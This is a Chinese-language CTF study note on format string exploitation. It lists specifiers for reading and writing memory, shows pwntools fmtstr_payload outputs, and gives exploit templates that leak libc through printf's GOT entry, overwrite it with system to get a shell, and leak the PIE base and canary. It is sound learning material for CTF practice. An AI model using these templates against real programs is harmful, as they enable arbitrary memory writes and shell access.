总结一下格式化字符串漏洞,便于后续调用
原理 & 工具
原理
本质是利用 printf(string) 任意地址读写
记录一下常用的格式
1 2 3 4 5 6
| fmt : 标准作用 || 常用方式 —————————————————————————————————————————————————————————————— %p : 输出栈上的内容 | (读) 找偏移\pie_base\canary %s : 输出地址指向的内容 || (读) 泄露libc_base %hhn : 修改地址指向的byte | (写) 任意地址写 %hn/%n : 修改地址指向的2/4bytes | (写) 任意地址写
|
Pwntools -
class fmtstr
源码见上述链接或文章末尾的 Appendix
fmtstr是一个类,我们只需要用其中的 fmtstr_payload 来构造我们的
payload 即可。现在版本的 pwntools 已经支持 64 位的 格式化字符串 payload
生成了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| # Default: numbwritten=0 , write_size='byte' payload = fmtstr_payload(offset, writes, numbwritten=, write_size='')
# Example: context.clear(arch = 'amd64') fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00' fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00' fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte') b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' context.clear(arch = 'i386') fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') b'%322419390c%5$na\x00\x00\x00\x00' fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00' fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte') b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte') b'c%3$naaa\x00\x00\x00\x00' fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short') b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00' fmtstr_payload(10, {0x404048 : 0xbadc0ffe, 0x40403c : 0xdeadbeef}, no_dollars=True) b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%125c%hhn%17c%hhn%32c%hhn%17c%hhn%203c%hhn%34c%hhn%3618c%hnacccc>@@\x00cccc=@@\x00cccc?@@\x00cccc<@@\x00ccccK@@\x00ccccJ@@\x00ccccH@@\x00' fmtstr_payload(6, {0x404048 : 0xbadbad00}, no_dollars=True) b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%229c%hhn%173c%hhn%13c%hhn%33c%hhnccccH@@\x00ccccI@@\x00ccccK@@\x00ccccJ@@\x00' fmtstr_payload(6, {0x4040 : 0xbadbad00, 0x4060: 0xbadbad02}, no_dollars=True) b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%212c%hhn%173c%hhn%13c%hhn%33c%hhn%39c%hhn%171c%hhn%13c%hhn%33c%hhnacccc@@\x00\x00ccccA@\x00\x00ccccC@\x00\x00ccccB@\x00\x00cccc`@\x00\x00cccca@\x00\x00ccccc@\x00\x00ccccb@\x00\x00'
|
CTF 中的题型
栈上
32位
最基础的题目,fmtstr_payload一把梭,模板如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| payload = '%p-'*10 io.sendline(payload)
printf_got = elf.got['printf'] payload = p32(printf_got) + b'%6$s'
io.sendline(payload)
printf_addr = u32(io.recvuntil('\x7f')[-3:]) libc = LibcSearcher('printf',printf_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(6,{printf_got:system_addr},numbwritten=0,write_size='short') io.sendline(payload)
io.sendline(';/bin/sh')
|
64位
由于许多地址只有六字节,所以为了对齐八字节,我们需要用''来填充,但''会截断
printf 的输出,所以我们需要让 printf 先输出格式化字符.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import *
payload = '%p-'*10 io.sendline(payload)
printf_got = elf.got['printf'] payload = b'%7$sAAAA' + p64(printf_got) io.sendline(payload)
printf_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc = LibcSearcher('printf',printf_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(6,{printf_got:system_addr},numbwritten=0,write_size='short') io.sendline(payload)
io.sendline(';/bin/sh')
|
非栈上(BSS段)
2023moeCTF的第三道fmt就是这种题目,exp在本地,后续有时间更新
特殊情况
一次printf就返回
printf 的要求十分严格,通常有两种做法
- 要求:栈上有一串具有三个函数的rbp的链,NO PIE,libc已知
- 做法:在栈上布满one_gadget,然后找到一条带有3个rbp的链,修改中间一个
node 的低字节,让其指向的rbp变低,进而在返回时可以直接返回og
- 本质: 利用 ret(实质是 pop rip) 时返回栈帧上的一条指令
- 打fini_array(未学习)
FULL RELRO
FULL RELRO 意味着我们不能修改 got 表,所以我们需要修改返回地址
要求:可以 printf
的次数较多(至少多于四次),可以让我们将返回地址修改为 one_gadget
PIE/Canary bypass
假设调用链为 main->func->printf,而在 func 中存放着 fmt,则栈中
fmt
上方不远处一定有调用printf语句的下一句(PC+4),即返回地址,和canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 假设偏移量为6,栈构造如下 ---printf栈帧--- ................ printf_canary <- offset = 3 printf_rbp <- offset = 4 printf_ret_addr <- offset = 5 ---printf栈帧---
----func栈帧---- fmt <- offset = 6 ----func栈帧----
----main栈帧---- ............... ----main栈帧----
# 泄露 pie_base & canary payload = '%3$p-%5$p-END' io.sendline(payload) func_addr,canary = [int(x,16) for x in io.recvuntil('END')[-35:-4].split(b'-')] ret_offset = pie_base = func_addr - ret_offset
|
Appendix
pwnlib.fmtstr.fmtstr_payload源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| def fmtstr_payload ( offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False ):
sz = WRITE_SIZE[write_size] szmax = WRITE_SIZE[write_size_max] all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)
fmt = b"" for _ in range(1000000): data_offset = (offset_bytes + len(fmt)) // context.bytes fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten, no_dollars=no_dollars) fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)
if len(fmt) + offset_bytes == data_offset * context.bytes: break else: raise RuntimeError("this is a bug ... format string building did not converge")
return fmt + data
|